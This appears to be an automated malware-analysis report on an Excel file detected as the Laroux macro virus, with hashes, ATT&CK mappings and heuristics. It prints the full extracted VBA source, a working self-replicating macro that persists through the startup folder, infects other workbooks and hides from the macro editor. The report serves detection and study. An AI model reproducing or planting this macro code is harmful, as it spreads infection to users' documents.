Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 b182740bf735d8a7…

MALICIOUS

Office (OLE)

70.0 KB Created: 1996-12-17 01:32:42 Authoring application: Microsoft Excel First seen: 2020-07-24
MD5: 830890801a77c3cfcf64c8ebf19bd384 SHA-1: 9a2ec90e982c51c3a98e763d5a188e52c389b897 SHA-256: b182740bf735d8a792118e227332b388b7b747a1268642bc82dd899d11fead4e
120 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample is an Excel document containing VBA macros, specifically an Auto_Open macro. This macro attempts to copy itself to the Excel startup folder as 'StartUp.xls' to achieve persistence. It also manipulates sheet activation and key presses to maintain its presence and potentially evade detection. The ClamAV detection 'Doc.Macro.Laroux-5893719-0' further supports its malicious nature.

Heuristics 3

  • ClamAV: Doc.Macro.Laroux-5893719-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.Laroux-5893719-0
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Open macro high OLE_VBA_AUTO
    Auto_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3789 bytes
SHA-256: 0ac0f2dc3d05d89e15d56e7298d563e06fb31d8522f7017d2ce3719e4dd6897e
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "StartUp"
Sub auto_open()
On Error Resume Next
If ThisWorkbook.Path <> Application.StartupPath And Dir(Application.StartupPath & "\" & "StartUp.xls") = "" Then
Application.ScreenUpdating = False
ThisWorkbook.Sheets("StartUp").Copy
ActiveWorkbook.SaveAs (Application.StartupPath & "\" & "StartUp.xls")
n$ = ActiveWorkbook.Name
ActiveWindow.Visible = False
Workbooks("StartUp.xls").Save
Workbooks(n$).Close (False)
End If
Application.OnSheetActivate = "StartUp.xls!cop"
Application.OnKey "%{F11}", "StartUp.xls!escape"
Application.OnKey "%{F8}", "StartUp.xls!escape"
End Sub
Sub cop()
On Error Resume Next
If ActiveWorkbook.Sheets(1).Name <> "StartUp" Then
Application.ScreenUpdating = False
n$ = ActiveSheet.Name
Workbooks("StartUp.xls").Sheets("StartUp").Copy before:=Worksheets(1)
Sheets(n$).Select
End If
End Sub
Sub escape()
On Error Resume Next
Application.OnSheetActivate = "StartUp.xls!back"
Application.OnKey "%{F11}"
Application.OnKey "%{F8}"
Application.SendKeys "%{F11}"
Application.SendKeys "%{F8}"
For Each book In Workbooks
Application.DisplayAlerts = False
If book <> "StartUp.xls" Then book.Sheets("StartUp").Delete
Next
For Each book In Workbooks
If book.Name = "StartUp.xls" Then
book.Close
End If
Next
End Sub
Sub back()
On Error Resume Next
Application.OnKey "%{F8}", "StartUp.xls!escape"
Application.OnKey "%{F11}", "StartUp.xls!escape"
Application.OnSheetActivate = "StartUp.xls!cop"
Application.OnTime Now + TimeValue("00:00:01"), "StartUp.xls!cop"
Workbooks.Open Application.StartupPath & "\StartUp.xls"
End Sub

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Control = "HTMLHidden1, 1, 0, MSForms, HTMLHidden"
Attribute VB_Control = "HTMLHidden2, 2, 1, MSForms, HTMLHidden"
Attribute VB_Control = "HTMLHidden3, 3, 2, MSForms, HTMLHidden"

Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Control = "HTMLHidden1, 1, 0, MSForms, HTMLHidden"
Attribute VB_Control = "HTMLHidden2, 2, 1, MSForms, HTMLHidden"
Attribute VB_Control = "HTMLHidden3, 3, 2, MSForms, HTMLHidden"

Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Control = "HTMLHidden1, 1, 0, MSForms, HTMLHidden"
Attribute VB_Control = "HTMLHidden2, 2, 1, MSForms, HTMLHidden"
Attribute VB_Control = "HTMLHidden3, 3, 2, MSForms, HTMLHidden"
Attribute VB_Control = "HTMLHidden4, 5, 3, MSForms, HTMLHidden"
Attribute VB_Control = "HTMLHidden5, 6, 4, MSForms, HTMLHidden"
Attribute VB_Control = "HTMLHidden6, 7, 5, MSForms, HTMLHidden"
Attribute VB_Control = "HTMLHidden7, 9, 6, MSForms, HTMLHidden"
Attribute VB_Control = "HTMLHidden8, 10, 7, MSForms, HTMLHidden"
Attribute VB_Control = "HTMLHidden9, 11, 8, MSForms, HTMLHidden"

Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

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